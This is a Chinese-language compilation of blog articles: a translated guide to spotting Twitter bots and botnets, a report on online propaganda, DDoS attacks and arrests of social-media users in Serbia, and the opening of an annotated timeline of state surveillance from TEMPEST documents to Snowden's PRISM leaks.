要找到确切的创建日期，请将鼠标悬停在“ Joined…”条目上。

可疑活动的基准各不相同。牛津互联网学院的研究人员认为，平均每天发布 50多个帖子是可疑的；这是一个广泛认可的和应用的基准，但可能偏低。

DFRLab 将每天发送72条推文（连续10个小时，每十分钟发送一次）视为可疑，将每天发布144条以上推文视为高度可疑。

例如，账户 @ sunneversets100 于2016年11月14日创建，这是克里姆林宫信息战的放大器。

到2017年8月28日，该账户共创立了288天。在那个时期，它发布了203,197条推文（同样，确切的数字可以通过将鼠标悬停在“**Tweets**”条目上找到）。

这意味着每天平均有705个帖子，或者说每天平均连续9个小时在线每分钟1个帖子，持续9个月。这不是人类的行为模式。

但是，仅仅发帖数量大并不是判断标准，在热门事件（尤其是选举期间）发帖量大的真实人类账户有很多。

2、匿名性

第二个指标是帐户显示的匿名程度。通常，提供的个人信息越少、成

为机器人的可能性就越大。

例如，@ Sunneversets100 将佛罗伦萨大教堂的照片作为头像，曲线图作为背景，以及匿名的ID和账户名。

唯一的特点是简介里贴的位于美国的政治行动委员会的链接；这远远不足以提供身份证明。

另一个示例是 @BlackManTrump，这是另一个活跃帐户，该帐户在2016年8月28日至2016年12月19日之间发布了89,944条推文（请参阅此处的存档），平均每天发789条帖子。

此帐户完全不提供任何个人信息。简介只是一般性的政治声明，位置标注“美国”。因此没有迹象表明背后隐藏着什么人。

⚠请注意：我们始终会强烈建议您不要在社交媒体上采用任何真实身份信息，不要在简介、头像、帖子中留下任何真实身份信息。这是为了安全。这样做并不会令您被误会为机器人，请一直记得，任何单一指标都不构成判断条件。

3、放大效果

这也许是最重要的指标。因为机器人的主要作用之一是通过转发、点赞或引用其他用户的帖子来增强它们想要传达的信息。

因此，典型机器人的时间轴将包括一系列的转发和新闻标题的完整引用，很少或没有原创帖子。

判断这点的最有效方法是对大量帖子进行机器扫描。但通过点击帐户的“推文和回复”栏并向下滚动最新的200条帖子，就可以进行更简单的识别。

数字200在很大程度上是任意的，旨在提供合理且易于管理的大样本；拥有更多时间的研究人员完全可以查看更多内容。

例如，截至8月28日，机器人 @Sunneversets100 的最后200条推文中有195条是转推，其中许多都是来自克里姆林宫官方媒体的网点：

@BlackManTrump 直到11月14日的大部分帖子都显示出更高的复杂程度，不再有“RT @ ”这类非人的东西出现 。

因此，@ BlackManTrump和 @Sunneversets 都显示出清晰的类似机

器人的行为，结合了很高的活动性、匿名性和针对性放大的迹象。

需要说明的是，@ BlackManTrump 从2016年11月14日至12月13日一直保持沉默；当它恢复发布时，它的发布率要低得多，而且，显然是创作型的推文所占比例升高。

因此，可以说直到11月中旬，它的行为都像一个机器人，但并不是说现在依旧是那个机器人，虽然是同一个账户。

另一种放大技术是对机器人进行编程，使其直接从选定站点共享新闻报道，而无需任何进一步的评论。

当然，直接分享是 Twitter 流量的标准组成部分（例如，欢迎读者分享这篇文章，而不是直接怀疑）。分享本身并不可疑，但是连续发布一长串分享就不同了，比如这样：

4、少量帖子，集中行动

以上讲述的机器人特点是通过单个帐户发布大量内容来实现放大立场的效果。但还有一种是相反的，即 创建大量帐户，每个帐户一次转发一个相同的帖子：即 僵尸网络。

如果用于发布单个帖子的僵尸网络通常处于非活动状态，则可以快速识别它们。

例如，在8月24日，一个名为 @KirstenKellog_ 的账户（现已暂停，但已在此处存档）发布了一条推文，攻击美国调查性新闻组织 ProPublica（propublica.com）。

如上图所示，这是一个活动非常少的帐户。它只发布了12次；其中11个帖子已被删除。它有76个关注者，并且根本没有关注任何帐户。

毫无疑问，它的帖子被转推了，并且被点赞超过23,000次：

同样，第二天，另一个显然是俄罗斯人的帐户发动了几乎相同的攻击，并获得了超过12,000次转发和点赞：

这个帐户也一样是长期闲置的，最早在8月25日发布了6条推文，关注了另外5个帐户：

即使使用#FakeNews（假新闻）和#HateGroup（仇恨团体）这样的标签，两个这样的闲置帐户也能够产生如此多的转推，这超出了合理

的范围。

它们的活动和影响之间的这种差异表明，用于放大它们帐户的周边影响力属于一个僵尸网络。

5、共同的内容

帐户是否属于同一个网络的可能性可以通过查看其帖子来确定。如果这些账户同时发布相同的内容或相同类型的内容，则可以怀疑已对其进行了编程。

例如，在可疑的僵尸网络放大了@KirstenKellog_的情况下，许多帐户共享了相同的帖子，这样：

有时，机器人会以相同的顺序共享所有帖子。以下三个帐户属于7月份确定的同一反特朗普网络的一部分：

8月28日，三个帐户再次以相同的顺序共享相同的内容；@ProletStrivings 在该组合中添加了一条转发：

这样一系列相同的帖子是自动化的经典标志。

6、鸟蛋集中营

最原始的机器人特别容易识别，因为其创建者连头像都不想费心。你经常能看到一大群顶着鸟蛋头像的账户集体出没。

但是，必须说，有一些真人账户出于各种原因不愿使用头像—包括隐私关注的动机，所以，仅仅使用鸟蛋头像并非是机器人的判断标准。

但是，如果一个帖子的转发或点赞的帐户列表看起来像下面这样……

… 或者，某个帐户的“关注者”页面开始看起来像下面这样：

… 一定程度上这就是机器人活动的标志。

7、被盗用的或来自公共资源的照片

其他机器人制造商则更加谨慎，并试图通过从其他来源获取的照片以掩饰其匿名性。

因此，对帐户真实性的一个很好的测试是反向搜索其头像。我们演示过这一调查方法的操作 ，您可以在这里回顾《网络水军如何试图影响

选举？ 一个调查案例，观察对选民的在线心理战》。

再一次，快速反向图片搜索的能力是各种调查的基本功。您可以在这里对比各种搜图工具的特点，以基于您每次不同的调查目标帮助找到最合适的选项《搜图功能哪家强？图像验证方法的能力对比》。

无论您使用上面哪种方法，搜索都会显示带有头像的页面，表明该帐户是否可能盗用了头像：

对于“ Shelly Wilson”，同一网络中的许多帐户实际都使用了该头像，足够确认它们是伪造的：

8、机器人的名字？

另一个判断指标是机器人使用的ID（就是带@的那个名字）。

很多机器人带有仅由算法生成的数字字母组合的ID，就像下面这样：

其他人的账户似乎提供了用户名，但是ID与用户名不匹配，就像下面这样：

还有一些通常具有男性化名字但具有女性头像的账户（在机器人中，这种情况似乎比具有男性形象的女性ID更常见，也许是为吸引男性用户而设计的？）

再或者，男性的ID和女性的用户名搭配，就像这样：

再或者，也可能是完全不同的东西：

所有这些都可能表明该帐户是伪造的，冒充了某人（通常是漂亮的年轻女子）来吸引观众。

再一次：仅仅如此依旧不是绝对的指标。使用女朋友的照片做头像并不意味着您有机器人嫌疑—— 所有这些指标都需要综合起来考虑。

⚠识别造假的类型、以及它是否是机器人，将取决于其具体行为。

9、异常的多语种推文

有些机器人具有政治性，并且只从一种角度发布。

然而，其他的机器人则是商业性的，并且无论其内容如何，似乎只被出价最高的人雇佣。它们的大多数帖子都是非政治性的。但是它们也

可以用来促进政治性的推文。

这种僵尸网络通常以语言使用的极端多样性为标志。

例如，“爱耶稣的女人”埃里克·杨（Erik Young）发布的内容中，显示了阿拉伯语、英语、西班牙语和法语的组合性内容：

西班牙语…

阿拉伯语…

「图」

斯瓦希里语（根据Google翻译）…

印尼语…

中文…

语…

并非是说擅长多语种的人“可疑”，再一次，依旧需要综合考虑各种指标：尤其是其行为。

10、商业内容

宣传性的确是僵尸网络的经典指标。

如上所述，某些僵尸网络似乎主要是出于商业性而存在的，只是偶尔涉足政治领域。而它们对广告的关注热情往往会出卖它们。

一个很好的例子是机器人的奇怪网络，这些机器人从通常用于赌博的帐户 @ every1bets 转推了一个政治性的帖子。

如下面的列表所示，转推者具有各种身份：

但是他们都倾向于发布高比例的广告内容。

以如此方式转发的帐户，尤其是，如果它们以多种语言显示时，很可能是商业僵尸网络的成员，被雇用给想要放大或发布其帖子的客户 。

11、自动化软件

潜在自动化的另一个线索是使用URL缩短器。

这些主要用于跟踪特定链接上的流量，但是，使用它们的频率可以指示自动化的程度。

例如，一个最近公开的假账户“ Angee Dixson”使用了德国超模 Lorena Rae 的照片，分享了许多右翼政治帖子。每个帖子都标有缩短网址 ift.tt：

请注意：开源情报社区中很多人也使用缩短链接工具，主要是为了节省字数空间 —— 再一次，仅仅使用缩短链接也不是决定性因素。

这是由一家名为 ifttt.com 的公司生产的一种软件，它使用户可以根据多种条件来自动执行其帖子—例如，转发带有给定标签的任何帖子。

因此，充满了 ift.tt 缩短链接的时间线很可能是机器人执行的。

如果其他短链接在整个时间线中重复出现，这种情况也可以显示为机器人。

有些机器人会在网站上发布一长串 ow.ly，这也表明可能是自动化的。Twitter 自己的 TweetDeck 工具允许用户嵌入各种短链，例如 bit.ly 或 tinyurl.com。

顺便说 TweetDeck 是优秀的开源情报调查工具，您可以在这里看到它在调查方面的技巧介绍《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》。

再次强调，使用缩短链接是很多人的在线生活习惯之一，于是不可以仅仅根据短链接的使用判断是否为机器人。

12、转推和点赞

可以通过比较特定帖子的转发和点赞来收集僵尸网络正在运行的最终指示。

有些机器人被编程为同时转发和点赞相同的推文。在这种情况下，转发和点赞的次数将几乎相同，并且执行转发和点赞的帐户系列也可能完全匹配，就如下面这样：

在此示例中，转发和点赞的次数几乎相同—差异小于0.1％。

完全相同的帐户列表以相同的顺序和时间转发并点赞该推文。

在13,000个用户样本中，这不太可能是巧合。它表明存在一个协调行动的网络，所有这些网络都经过编程以点赞和转发相同的内容。

结论

机器人是Twitter生活中不可分割的一部分。许多机器人是完全合法的。那些不合法的往往具有共同的关键特征。

如上所述，最常见的指标是活动模式、匿名性和针对性放大效果，即机器人识别指标的“三个A”。但也存在其他标准。

比如使用被盗的图像、字母数字组合的不规则ID和不匹配的用户名可能会显示账户的伪造；大量的商业帖子或异常多语种的帖子也是如此。

然而，最重要的是意识。

能够识别机器人的用户不太可能被机器人所操纵；他们甚至可以举报僵尸网络并关闭它们。本文的目的就是帮助更多人识别鉴定机器人。希望对您有所帮助。〇

顺便介绍一个很酷的网站，自动检测僵尸机器人：https://botsentinel.com/

#BotSpot: Twelve Ways to Spot a Bot

原文

LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport

你的反乌托邦在线生活阴云密布开源情报-每个人都可用的武器心理战和信息战长读

索引：社交媒体 WARS：巨魔游戏；映射 Twitter 的 BATTLEFIELD；人工政治 HASH 在 Twitter 上的案例；政治气泡在 Facebook 的水族生物；逮捕和拘留的后果……

继续上一篇文章的报告。如果您还没有读过，可以在这里看到《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》

– VI—社交媒体大战：巨魔游戏

「图」

互联网及其架构的最初概念向我们提出了一种分散化和民主化的可能性，即每个人都是一个媒介。但 50 年后的今天，这一梦想已经彻底破灭。实际上，基础设施和服务变得高度集中，由互联网服务提供商和巨头互联网公司（如谷歌或 Facebook）控制。在这里阅读 IYP 的警告：《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》。

是的，我们仍然有机会成为个人媒体，但在大多数情况下，我们只能在更大的社交和媒体结构中存在，由其他人拥有和控制。但是，即使在这种情况下，政府或政治行为者对媒体的控制也要比20年前有难度，因为他们需要控制的节点不再高度集中在几家国家电视台和报纸上。从这个意义上讲，这是对个别节点（人）及其社交图谱的统治战。

通过工具化和征服单个节点，他们能够干扰和影响人们的社交图谱（参见：Human Data Banks and Algorithmic Labor，SHARE Labs 2016）这一图谱由人们的社交圈子—数百名朋友、同事和亲戚组成。 也就是说，通过代理征服他人的信息流。

社交网络生态系统是针对反对者的不同形式的虚假信息或诽谤运动的肥沃土壤，或仅仅是一种啦啦队活动，就像中国那样（详见上一篇文章），这取决于政治战争的风格。在这样的环境中，政治宣传（为了加速伤害机构、事业或个人，而传播符合当权者利益的思想、信息或谣言），可以通过匿名或微小的单个节点执行，将他们的现实身份直接连接到政党。

映射 **Twitter** 战场

「图」

当谈到个性化行为者并在某个网络中标记他们的影响力时，社交网络分析（SNA）就是下注的马。该方法已经以不同的形式和变化被使用，并且基于图论成为科学。（点开大图）在塞尔维亚选举前期间基于包含 *#izbori2016*（ *#elections2016*）标签的所有互动语料库的社交网络分析

如何阅读此图表？

在查看显示的图表时，应该记住一些事项。网络中的节点是人/实体（组织），边缘是它们之间的交互：# 节点的大小反映了特定节点如何进入的，交互量（推文、回复）是传入和传出交互的总和；

- 根据他们所代表的政治结构，我们为政治组织的最大节点着色（因此用相同颜色的不太密集的变体着色他们在网络中的近邻）。

1. 攻击者：第一个位于图表的右侧，在“蓝色团队”（执政党）的核心，有一个大的淡黄色节点（@zeljkocenej）。这个用户被其他蓝队节点连接（转发、点赞），但在他的推文中，他经常攻击黄色团队（@demokrate），这就是为什么 SNA 算法给他一个淡黄色的原因（因为他们之间有明显的连接）。根据这张图可以确定，他是最强大的巨魔领主，是蓝队宣传机器的引擎之一。

- **Bridge**：另一个有趣的例子可以在图的中下部分看到。账户 @Kika_Bibic 是一座桥梁，对反对党官方节点上的各种蓝队攻击进行了推动（转发和回复），与反对派节点和媒体账户相关联的个人账户（例如 @ n1infobg）

Twitter 上的人工政治 HASH 案例

除了真正的人工巨魔领主之外，通过使用社交网络分析，我们还可以发现试图参与信息战的原始人工行为者的痕迹。

#slozno（“unanimous”）标签的情况，这是选举名单“SložnozaSrbiju”（“塞尔维亚的一致”）的竞选口号。该列表在社交媒体上没有得到公众的好评，尤其是在 Twitter 上，即使是列表中的成员本身也不够活跃，也没有社区讨论他们的建议或计划（在活动的背景下）。然而，有一条推文使用了这个标签，显然是个假帐户叫“@najludja”（在发布有关推文前几个小时被创建）。

这条推文被一些通常不参与竞选活动的账户转发了一千多次，这个数字甚至在整个塞尔维亚都是非常惊人的。这是一个“外包”支持者的例子，它完全可以作为一个测试案例，对于那些想要在选举过程中在线看到人工认知营销效果的人来说，非常有用。之后很快推文就被删除了，但它已经被我们用于实时数据收集的软件抓取。

这种情况的现象可以在下图的左侧清楚地看到：（点开大图）基于在塞尔维亚选举前期间与 *#izbori2016*（*#elections2016*）标签一起出现的所有主题标签语料库的社交网络分析

「图」

Facebook 水族馆内的政治泡沫

「图」

世界上最大的社交网络，在我们之前的研究中得到了深刻的解剖，其中有超过一半的塞尔维亚公民，这里很可能是信息战中最大的生态系统之一，相当于中国的微博。无意深入探讨 Facebook 的主体是非活跃的代理人、非中立的玩家，有能力塑造、交替或审查政治讨论，我们要说的重点是，**Facebook** 背后的界面、结构和算法正在决定这场信息战的规则。

Eli Pariser 在他的著作“过滤泡泡”中指出，用户很难接触到冲突性观点，并且在 Facebook 自己的信息泡沫中被算法隔离，算法根据用户信息选择性地猜测用户想要看到的内容—— ⚠ 请注意，这并不仅仅是在迎合个人的偏好，更多还有 **Facebook** 这些阴暗的巨头希望人们的认知变成什么样！这才是最大的威胁。也就是我们在《定制人将终结民主》一文中主要阐述的。

这种现象也被称为“回声室”，是对一种情形的隐喻描述，即 其中信

息、思想或信仰通过“封闭”系统内的传播和重复，而被放大或加强，其中不同的或相互竞争的观点被审查、禁止或否认，以至于明显的代表性不足。

换句话说，这创造了一个高度政治化的空间，思想市场已经不复存在，并且与此同时，由用户部分算法管理的泡沫很容易成为具有相同政治背景的人只是在彼此之间进行的讨论，而不会将其暴露于其他政治观点中，不会形成辩论和交锋。 是的，这就是为什么中国这类追求“大一统”的国家会非常热衷于 **FATBAG（Facebook Amazon Tencent Baidu Alibaba Google**）这个中美均分的数字极权黑手整体在此完全一致，只有它们才能提供政府期待的“和谐”。

我们从塞尔维亚20个政党的官方 Facebook 页面收集数据，并进行了不同的数据分析（其他分析可见这里），但是，对于本文这个分析，我们将提供一个量化的用户数量和他们拥有的交互次数（如 分享、评论）他们有官方的政党主页。在此图表中，每个圆圈代表一个与政党官方网页互动的用户。正方形的大小和颜色与相互作用的数量成比例。这种方法允许我们观察进行大量交互的用户（以黑色标记的是与该方的交互超过*100*个单位的用户）、与具有较少交互（灰色）的用户之间的关系。

这张图可以帮助我们感受每一方政治在线宣传机器的规模大小。从我们的角度来看，在5周时间内与一方有超过 100 次互动（黑色泡泡）的用户可以被视为积极的参与者，政治宣传的代理人在他们的‘朋友’网络中传播政治议程。

正如我们在上一篇文章中谈到主流网络媒体时所看到的那样，这个空间已经被征服，并令统治党和政府宣传占据了主导地位，普通公民的评论受到精心策划的巨魔网军的污染。也正因此，和中国异议曾经对微博的依恋一样，Facebook 也是新成立的反对党推动其议程和与沟通的明显选择。这可以在所呈现的图表中清楚地看到，其中两个最大的群体是年轻的反对党（Dveri，DJB）。即使他们能够通过接受近 50% 的互动来统治 Facebook 领域，但在选举中他们只占据全部选民的 5%。

– VII—逮捕和拘留

「图」

“他们已经到了一个没有人敢说出自己的想法的时候，当凶狠咆哮的狗到处游荡，当你不得不看到你的同志在承认令人震惊的罪行后被撕

成了碎片。”—— 《动物农场》乔治奥威尔

在 2014 年洪水之后，专业政府小报显然不会因为他们的恐吓性言论和虚假的报道而面临公众监督或官方谴责，但一些社交媒体用户被警方传唤。就像中国社会非常了解的那种状况。

关于法律规定的迷糊和含混是否有意或无意都不重要了，它已经被证明是实现在线噤声的便利工具。尽管它们的状态是在私人社交媒体账户上发布的，并且没有引起实际的恐慌，但在被拘留者中，有一个18岁的男人，一个两个孩子的父亲，一个时尚化妆师……总而言之，第一波逮捕至少有 15 起案件涉及贝尔格莱德地区。在接下来的几个月里，有报道称，该国境内的城镇和小型社区的一些当地在线和广播记者也受到了威胁，这些威胁都与洪水有关。

到同年秋天，调查报告中心公布了被拘留的人的证词，他们被指控为“企图”引发恐慌。你可以理解为中国当局称之为“扰乱社会秩序”的说辞。

在此之后的几年里，这种对舆论的管制不仅仅是针对评论部分和社交媒体的帖子了，而是整个公共领域，在各种场合都被使用，尽管并非所有案例都能获得新闻报道。

塑造公共话语的另一个方便的法律依据也是一个形容词建构的，即“威胁”，据称是针对总理或任何其他知名人士的“威胁”，也就是说，如果这些名人不喜欢的言论，他们就会认为是“受到了威胁”。同样，没有确定数量的此类案例，但这种趋势可以通过引人注目的头条新闻来检测，偶尔会提升到中国人熟悉的“计算机流氓罪”的滥用层面上。

对塞尔维亚来说，这两种方法在正式的司法程序中收效甚微，而许多案件可能会被拖延，直到最终放弃或其诉讼时效到期。更有趣的是，虽然没能起诉成功，但这些法律真的改变了公众对可以大声说出的概念以及私人空间的界限的结果，人们不再敢于自由地表达自己的愤怒、沮丧等情绪。

后果

「图」

网络攻击对塞尔维亚网络媒体和记者的真正后果是什么？大多数内容被消失和 DDoS 攻击的案例都没有与内容本身相关的长期后果。正如

EFF 的创始人之一约翰吉尔摩（John Gilmore）所说的那样，“互联网将审查制度视为故障，并绕道而行”。从网络上取下的内容通常会在不同的地方成倍地增加，由其他博客或在线媒体网站重新发布，吸引更多的读者。

但显然，这与人们的勇气直接相关。

不安全和恐惧

我们可以说，这些袭击的主要后果是不安全和恐惧的加剧，从而对在线言论自由产生寒蝉效应。

事实是，发布批评权力结构（政府、犯罪集团或任何其他权力）的内容可能导致网站的破坏、阻塞或暂时下线，随后是大量的压力和昂贵的工作时间来恢复系统，这明显会影响人们自由表达自己的意愿。

在网络空间，防御通常比攻击更昂贵。对于那些无法负担昂贵的网络安全专家或技术解决方案来保护自己的小型独立媒体和公民媒体而言，这可能是非常令人沮丧的。根据莫罗佐夫的说法，DDoS 攻击给内容制作者带来了沉重的心理压力，迫使他们担心各种机构间问题，例如他们与互联网托管公司之关系的未来，以及网站不可用对其在线社区产生的破坏性影响等。

这种趋势的一个有点积极的结果是一些更专业的媒体组织实施了 DDoS 缓解系统，例如 CloudFlare。DDoS 攻击仍在继续，但与 2014 年相比，这些攻击已经变得更为复杂了，使用大型且更持久的僵尸网络，已经能够绕过免费版本的 CloudFlare 并关闭服务器。

对公众的寒蝉效应

由于他们的博客、评论或其他形式的在线写作而被逮捕的个人案例，不仅对记者和在线媒体组织产生了寒蝉效应，而且对塞尔维亚的一般在线用户群体也产生了影响，占塞尔维亚公民的60%。

因此，公民在数字环境中不会感到被赋予权力和受到保护，这便减少了新技术的潜在使用。预计过去一年国家开展的众多法律诉讼将进一步加剧对网络言论的寒蝉效应。

隐私侵犯和监视

针对个人和专业组织的通信以及电子邮件、在线文档和数据库等工作工具的针对性攻击可能会危害来源的匿名性，泄露调查计划，或通过

发布私人信息以及身份盗用来诋毁受害者。达到必要的数字安全水平通常意味着复杂的程序，改变与使用技术相关的常规习惯，当然这是必要的，但同时也可能导致记者和组织的整体效率降低。

阻止公众对话

使用由政党成员策划的技术工具操纵公众舆论的规模，导致了对主要新闻门户网站和社交网络的评论和使用泛滥，集中化愈加严重，这一状况正在改变开放空间，使对话和在线观点表达只在一个的领域可以接收到意见，从而造成了舆论的整体错误形象。这种人为的噪音使得个人的真实声音几乎不可能被听到，这阻碍了对社会重要的话题的对话。

无法保护

显然，政府未能保护塞尔维亚的在线媒体和公民记者。相关的国家机构在某些情况下对于更有效的反应只具有有限的技术和组织能力。然而，真正危险的是，相关公共机构（警察和司法机构）的反应因案例而异，有时它们非常有效，有时则非常缓慢且没有适当的反应。

在大多数情况下，国家当局极其缓慢或完全没有反应，这显然与对网络媒体、调查记者和批评政府的公民媒体的网络攻击有关。任何问题都不会得到解决。

另一方面，相关的公共机构在针对社交媒体用户和博客的逮捕和司法诉讼中反而被证明非常有效（如 Malagurski 案和在洪水期间引发“恐慌”的案件）。所有这些方面共同导致了该领域缺乏法律确定性，法治水平无法令人满意。

总之，公民社会应该努力起到援助这些危机的功能，我们无法指望政府的帮助，正相反很多问题就是政府造成的。我们演示这一调查思路，就是希望能在中国看到公民社会参与这项工作，除了你们，没有其他人能在此给出有效的帮助。制图推荐：https://www.tableau.com/ ○

原文

LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport

心理战和信息战技术暴政政府的间谍行为老大哥的真面目透明度革命长读

【2019年8月9日存档】这里是一份长篇报告，关于操控全球的那只无形的巨手。鉴于 Snowden 的文件刊发计划因独立媒体缺乏资金已被叫停，本报告做此梳理，为纪念所有冒着生命危险揭示真相的勇士。祈祷透明度革命之火后继有人。

本报告是简版，然而已经长达两万六千字；这里仅仅收录已公开信息。每一条记录后都附有来源。但请记住，来自主流媒体的链接中均有可能缺失了某些最重要的部分、以及加入了当权者的自辩。因为这是企业媒体的传统，即 只要记者收到泄漏信息，就必须首先主动与相关政府部门联系，被对方审查、并给予对方辩解的机会。

个人和组织都在使用故事来理解世界和我们在其中的位置。这些故事充满了力量—— 解释和证明现状的力量，以及使改变成为可能的和紧迫的力量。

我们强调过故事和讲故事的方法在社会动员方面的重要性。

对权力的叙事分析提出了这样的问题：哪些故事定义了文化规范？这些故事来自哪里？为了创造那些规范，谁的故事被忽略或删除了？而且，最迫切的是，我们能够讲述些什么新的故事来帮助创造我们想要的世界吗？

这是我们希望所有人和我们一起思考的问题。

💡本时间线提供了对讲故事、回顾性练习（连接点）、进一步研究和调查、宣传练习（检测和粉碎谬误论证）、威胁建模等有趣的东西的认识。希望您的阅读是有收益的。

——互联网霸主——

「图」

从20世纪70年代开始，“信息自由流通”的论调就一直是美国外交政策的核心原则。在非殖民化和冷战时代，这一学说声称是一道“闪亮的灯塔”，照亮了全世界从帝国主义和国家镇压中解放出来的道路。

今天，它继续以一种吸引人的普世人权语言描绘出根深蒂固的经济和战略利益。“互联网自由”、“连接自由”、“网络自由”—— 希拉里克林顿和谷歌高管在 WCIT 筹备期间共同发布的条款—— 至今都是“free flow”规则的基本表述版本。

但是，就像以前一样，“互联网自由”一直是个红鲱鱼（详见《宣传战的诡迹》）—— 指的是 以修辞或文学的手法转移议题焦点以牵制大众注意力的手段。它指导我们将基本的人权委托给一对强大的和自私的社会行动者：公司和国家。

——监视国家的养成，1898–2020——

「图」

监视国家的形成其实跨度很长，1898年开始：如今，它是一个无所不在的现实，但它悠久的历史却鲜为人知，其未来更是很少能被掌握。

斯诺登泄露的文件显示，在9/11事件后的状态下，国家安全局（NSA）能够建立一个庞大的监视系统，可以秘密监视几乎每个美国人的私人通信。虽然使用的技术是最先进的；但事实证明，这种大规模间谍行为并不是什么新鲜事。

一个多世纪以来，美国战争所谓的“监视反击”战略一直在确保更大规模的无所不在的全方位监视系统的建立。它的未来（虽然不是我们的）看起来确实很光明。[Surveillance Blowback: The Making of the U.S. Surveillance State, 1898–2020]

Interception capabilities 2000——

Interception Capabilities 2000: 向欧洲议会（科学和技术选择评估方案办公室）研究总干事报告的监测技术的发展和滥用信息的风险。[Surveillance Blowback: The Making of the U.S. Surveillance State, 1898–2020]

Cryptome tempest FOIA——

John Young—— 这是透明度革命的激进派前辈之一，在他1999年10月发布的 NSA FOIA 中展示了八份与 tempest 相关的文件。文档中的打印效果很差，显示是手动打印的。最后一份文件显示，美国政府保留了一份其认为美国有能力和动力对其发动袭击的国家名单。
[Cryptome: NSA FOIA appeal]

审查署在1995年的文件中删除该文本的工作做得不太好，25个国家中有12个是可识别的，包括：新加坡，挪威，匈牙利，荷兰，台湾和一些众所周知涉嫌经济间谍活动的大工业国家。

2001年1月14日：John Young 发布了 NOSEM 5112 的 FOIA 版本，NONSTOP 评估技术。这是史上第一份被公开揭示的 **NONSTOP** 监控技术的文件。

[Cryptome: NACSEM 5112, NONSTOP Evaluation Techniques]

[Cryptome: NSTISSAM TEMPEST/2–95, 12 December 1995—“Red/Black Installation Guidance”]

[Cryptome: Specification NSA №94–106, 24 October 1994—Specification for Shielded Enclosures]

[Cryptome: NACSIM 5000, 1 February 1982—TEMPEST Fundamentals]

[Cryptome: NSTISSI 7000, 29 November 1993—“TEMPEST Countermeasures for Facilities.”]

秘密之身——

2001年4月25日：一名前国家安全局开创性工作的作者提供了一本关于该神秘机构掩盖、窃听和秘密任务的新书。

1982年，詹姆斯·班福德（James Bamford）出版了“益智宫”（The Puzzle Palace），这是他对国家安全局的第一次曝光。他对国家安全局的第二次曝光被称为“秘密之身”。

二十年的过程，在情报业务上有了很大的不同。在这20年里，里根的军事集结来去匆匆、苏联垮台、冷战结束，出现了一批新的军事敌人。

电子通信通过传真、手机、互联网等新媒介实现了爆炸式增长。密码学从阴影中走出来，成为网络世界的基本技术。而且计算能力增加了一万倍。

同样在这20年中，国家安全局逐渐向外界敞开大门。但它的任务——窃听所有美国感兴趣的外国通信—— 始终保持不变。这个过去曾称自己为“无此机构”和“从不说什么”的神秘机构，开始出现在公众面前，与媒体交谈、并开始宣传自己。詹姆斯·班福德（James Bamford）对国家安全局内部的了解恐怕比其他任何人都多。[Salon: “Body of Secrets” by James Bamford]

Optical tempest——

2002年：发现了一种以前未知的泄漏形式。在某些条件下，数据通信设备上的 LED 状态指示器显示为携带与设备处理的信息显著相关的调制光信号。不需要物理访问，攻击者就可以获取通过设备的所有数据，包括数据加密系统中的明文。

实验表明，可以在相当远的实际条件下拦截数据。发现许多不同类型的设备（包括调制解调器和 Internet 协议路由器）都很容易受到攻击。被称为“Optical tempest”。[Information Leakage from Optical Emanations]

——新计划的信息操作简述——

「图」

1、对中东的政治宣传

据英国广播公司报道，2005年美国军方计划通过发布一部新的漫画以“实现中东的长期和平与稳定”，目标是赢得中东年轻人的心。该漫画书项目的倡议来自美国国防部的中央司令部，该司负责美国在25个中东和阿拉伯国家的安全利益。

根据该广告，成功的申请人需要具有执法背景和“小单位军事行动”的经验—— 以及阿拉伯语言和文化的知识。[US army to produce Mid-East comic]

2、战网计划

2006年，英国广播公司透露了美国的网络作战计划：一份解密文件让

人们对美国军方的“信息作战”计划有了第一次粗略的了解—— 从心理行动到对敌对国计算机网络的攻击。[US plans to ‘fight the net’ revealed]

3、FBI 的窃听网络

2007年8月：FBI 悄悄建立了一个复杂的点击式监控系统，几乎可以在任何通信设备上进行即时的窃听，根据“信息自由法案”新发布的近千页机密文件的揭露。

用于数字采集系统网络的监控系统被称为 DCSNet，将 FBI 窃听室直接连接到由传统固话运营商、互联网电话提供商和蜂窝移动运营商控制的交换机。与观察者的推测相比，它事实上更加错综复杂地融入了国家的电信基础设施。

哥伦比亚大学计算机科学教授兼长期监控专家 Steven Bellovin 说，这是一种“综合式窃听系统，可拦截有线电话、手机、短信和即按即说系统”。[Wired: Point, Click … Eavesdrop: How the FBI Wiretap Net Operates]

4、防卫博主

Raw Story 在2007年报道，美国中央司令部 CENTCOM 向发布“不准确或不真实”信息的博客写手、以及发布不完整信息的博主，发送了警告电子邮件。[Raw obtains CENTCOM email to bloggers]

2009年，美国空军向其飞行员发布了“反博客”行军命令，作为“对抗那些对美国政府和空军存在负面看法的博客圈中”的一部分人的努力。[Air Force Releases ‘Counter-Blog’ Marching Orders]

——黑客找到一个隐藏 rootkit 的新地方——

「图」

2008年5月9日：安全研究人员开发了一种新型的恶意 rootkit 软件，它隐藏在计算机微处理器的一个不起眼的部分，隐藏在当前的防病毒产品之外。这个软件称为SSM（系统管理模式）rootkit，它运行在计算机内存的受保护部分，可以被锁定并对操作系统不可见，但可以让攻击者了解计算机内存中发生的一切。[InfoWorld: Hackers find a new place to hide rootkits]

2008年11月4日：Phrack: System Management Mode Hack: Using SMM for “Other Purposes” 。

执法技术论坛——

Packeteer 是一种解码来自任何数据网络（例如电子邮件、网页、图像、音频文件等）的捕获数据以及描述所有数据 *XML* 文件的工具。 *Coolminer* 是一个内部开发的软件界面，可以以可理解的形式配置和显示处理过的数据。 *[…]* 在过去两年中，*DITU* 集中了两个处理中心。第三个处理中心即将上线。 *[…]*国家和地方执法部门仍负责*原始证据存储*；*FBI* 将复制的收集数据提取到处理器……还有更多这样有启发性的美味小花絮，详见[Cryptome: LETF 2010]

——Snowden leaks——

「图」

PRISM——

2013年6月6日：第一批斯诺登泄漏文件刊出，包含 PRISM 幻灯片。所有已知的幻灯片都在 Top Level Communications 的一篇文章中展示了有关 NSA PRISM 计划的知识。如果可以获得此 PRISM 演示文稿的新幻灯片，则会添加进去。[What is known about NSA’s PRISM program]

PRISM 本身不是用于大规模监视的，而是用于收集特定目标的通信。NSA 也没有“直接访问”微软、Facebook 和谷歌等公司的服务器，而是这些巨头自己提供的。 FBI 的一个单位获取数据，NSA 进行分析。

海外目标清单——

